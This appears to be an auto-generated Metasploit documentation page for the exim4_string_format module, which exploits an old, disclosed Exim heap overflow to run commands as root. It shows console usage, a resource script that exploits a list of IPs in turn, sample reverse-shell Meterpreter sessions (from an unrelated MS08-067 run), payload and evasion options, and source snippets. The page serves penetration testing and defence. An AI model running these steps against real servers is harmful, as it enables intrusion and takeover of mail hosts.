Exim4 string_format Function Heap Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/unix/smtp/exim4_string_format metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Exim4 string_format Function Heap Buffer Overflow
Module: exploit/unix/smtp/exim4_string_format
Source code: modules/exploits/unix/smtp/exim4_string_format.rb
Disclosure date: 2010-12-07
Last modification time: 2022-02-14 09:01:05 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: smtp, smtps
Target network port(s): 25, 465, 587, 2525, 25000, 25025
List of CVEs: CVE-2010-4344, CVE-2010-4345

This module exploits a heap buffer overflow within versions of Exim prior to version 4.69. By sending a specially crafted message, an attacker can corrupt the heap and execute arbitrary code with the privileges of the Exim daemon. The root cause is that no check is made to ensure that the buffer is not full prior to handling '%s' format specifiers within the 'string_vformat' function. In order to trigger this issue, we get our message rejected by sending a message that is too large. This will call into log_write to log rejection headers (which is a default configuration setting). After filling the buffer, a long header string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL FROM' command. By sending a second message, the string we sent will be evaluated with 'expand_string' and arbitrary shell commands can be executed. It is likely that this issue could also be exploited using other techniques such as targeting in-band heap management structures, or perhaps even function pointers stored in the heap. However, these techniques would likely be far more platform specific, more complicated, and less reliable. This bug was original found and reported in December 2008, but was not properly handled as a security issue. Therefore, there was a 2 year lag time between when the issue was fixed and when it was discovered being exploited in the wild. At that point, the issue was assigned a CVE and began being addressed by downstream vendors. An additional vulnerability, CVE-2010-4345, was also used in the attack that led to the discovery of danger of this bug. This bug allows a local user to gain root privileges from the Exim user account. If the Perl interpreter is found on the remote system, this module will automatically exploit the secondary bug as well to get root.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using exim4_string_format against a single host

Normally, you can use exploit/unix/smtp/exim4_string_format this way:

msf > use exploit/unix/smtp/exim4_string_format
msf exploit(exim4_string_format) > show targets
    ... a list of targets ...
msf exploit(exim4_string_format) > set TARGET target-id
msf exploit(exim4_string_format) > show options
    ... show and set options ...
msf exploit(exim4_string_format) > exploit

Using exim4_string_format against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your exim4_string_format will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/smtp/exim4_string_format")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the unix/smtp/exim4_string_format exploit module looks in the msfconsole:

msf6 > use exploit/unix/smtp/exim4_string_format

msf6 exploit(unix/smtp/exim4_string_format) > show info

       Name: Exim4 string_format Function Heap Buffer Overflow
     Module: exploit/unix/smtp/exim4_string_format
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-07

Provided by:
  jduck <[email protected]>
  hdm <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name       Current Setting       Required  Description
  ----       ---------------       --------  -----------
  EHLO_NAME                        no        The name to send in the EHLO
  MAILFROM   root@localhost        yes       FROM address of the e-mail
  MAILTO     postmaster@localhost  yes       TO address of the e-mail
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      25                    yes       The target port (TCP)

Payload information:
  Space: 8192

Description:
  This module exploits a heap buffer overflow within versions of Exim 
  prior to version 4.69. By sending a specially crafted message, an 
  attacker can corrupt the heap and execute arbitrary code with the 
  privileges of the Exim daemon. The root cause is that no check is 
  made to ensure that the buffer is not full prior to handling '%s' 
  format specifiers within the 'string_vformat' function. In order to 
  trigger this issue, we get our message rejected by sending a message 
  that is too large. This will call into log_write to log rejection 
  headers (which is a default configuration setting). After filling 
  the buffer, a long header string is sent. In a successful attempt, 
  it overwrites the ACL for the 'MAIL FROM' command. By sending a 
  second message, the string we sent will be evaluated with 
  'expand_string' and arbitrary shell commands can be executed. It is 
  likely that this issue could also be exploited using other 
  techniques such as targeting in-band heap management structures, or 
  perhaps even function pointers stored in the heap. However, these 
  techniques would likely be far more platform specific, more 
  complicated, and less reliable. This bug was original found and 
  reported in December 2008, but was not properly handled as a 
  security issue. Therefore, there was a 2 year lag time between when 
  the issue was fixed and when it was discovered being exploited in 
  the wild. At that point, the issue was assigned a CVE and began 
  being addressed by downstream vendors. An additional vulnerability, 
  CVE-2010-4345, was also used in the attack that led to the discovery 
  of danger of this bug. This bug allows a local user to gain root 
  privileges from the Exim user account. If the Perl interpreter is 
  found on the remote system, this module will automatically exploit 
  the secondary bug as well to get root.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-4344
  https://nvd.nist.gov/vuln/detail/CVE-2010-4345
  OSVDB (69685)
  OSVDB (69860)
  http://www.securityfocus.com/bid/45308
  http://www.securityfocus.com/bid/45341
  https://seclists.org/oss-sec/2010/q4/311
  http://www.gossamer-threads.com/lists/exim/dev/89477
  http://bugs.exim.org/show_bug.cgi?id=787
  http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b

Module Options

This is a complete list of options available in the unix/smtp/exim4_string_format exploit:

msf6 exploit(unix/smtp/exim4_string_format) > show options

Module options (exploit/unix/smtp/exim4_string_format):

   Name       Current Setting       Required  Description
   ----       ---------------       --------  -----------
   EHLO_NAME                        no        The name to send in the EHLO
   MAILFROM   root@localhost        yes       FROM address of the e-mail
   MAILTO     postmaster@localhost  yes       TO address of the e-mail
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      25                    yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the unix/smtp/exim4_string_format exploit:

msf6 exploit(unix/smtp/exim4_string_format) > show advanced

Module advanced options (exploit/unix/smtp/exim4_string_format):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SkipEscalation          false            yes       Specify this to skip the root escalation attempt
   SkipVersionCheck        false            yes       Specify this to skip the version check
   SourceAddress                            no        The IP or hostname of this system as the target will resolve it
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/smtp/exim4_string_format module can exploit:

msf6 exploit(unix/smtp/exim4_string_format) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/smtp/exim4_string_format exploit:

msf6 exploit(unix/smtp/exim4_string_format) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options

Here is the full list of possible evasion options supported by the unix/smtp/exim4_string_format exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/smtp/exim4_string_format) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The target server is not running Exim!

Here is a relevant code snippet related to the "The target server is not running Exim!" error message:

104:	    connect
105:	
106:	    print_status("Server: #{self.banner.to_s.strip}")
107:	    if self.banner.to_s !~ /Exim /
108:	      disconnect
109:	      fail_with(Failure::NoTarget, "The target server is not running Exim!")
110:	    end
111:	
112:	    if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
113:	      fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
114:	    end

Warning: This version of Exim is not exploitable

Here is a relevant code snippet related to the "Warning: This version of Exim is not exploitable" error message:

108:	      disconnect
109:	      fail_with(Failure::NoTarget, "The target server is not running Exim!")
110:	    end
111:	
112:	    if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
113:	      fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
114:	    end
115:	
116:	    ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
117:	    ehlo_resp.each_line do |line|
118:	      print_status("EHLO: #{line.strip}")

Second result: <SECOND_RESULT.INSPECT>

Here is a relevant code snippet related to the "Second result: <SECOND_RESULT.INSPECT>" error message:

279:	    buf = sock.get_once(-1, 2.0)
280:	    second_result << buf if buf
281:	
282:	    # Check output for success
283:	    if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
284:	      print_error("Second result: #{second_result.inspect}")
285:	      fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
286:	    end
287:	
288:	    resp = ''
289:	    if not datastore['SkipEscalation']

Something went wrong, perhaps this host is patched?

Here is a relevant code snippet related to the "Something went wrong, perhaps this host is patched?" error message:

280:	    second_result << buf if buf
281:	
282:	    # Check output for success
283:	    if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
284:	      print_error("Second result: #{second_result.inspect}")
285:	      fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
286:	    end
287:	
288:	    resp = ''
289:	    if not datastore['SkipEscalation']
290:	      print_status("Looking for Perl to facilitate escalation...")

This target may be patched: <BUF.STRIP>

Here is a relevant code snippet related to the "This target may be patched: <BUF.STRIP>" error message:

297:	    if resp !~ /Summary of my perl/
298:	      print_status("Should have a shell now, sending payload...")
299:	      buf = raw_send_recv("\n" + payload.encoded + "\n\n")
300:	      if buf
301:	        if buf =~ /554 SMTP synchronization error/
302:	          print_error("This target may be patched: #{buf.strip}")
303:	        else
304:	          print_status("Payload result: #{buf.inspect}")
305:	        end
306:	      end
307:	    else

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • jduck
  • hdm

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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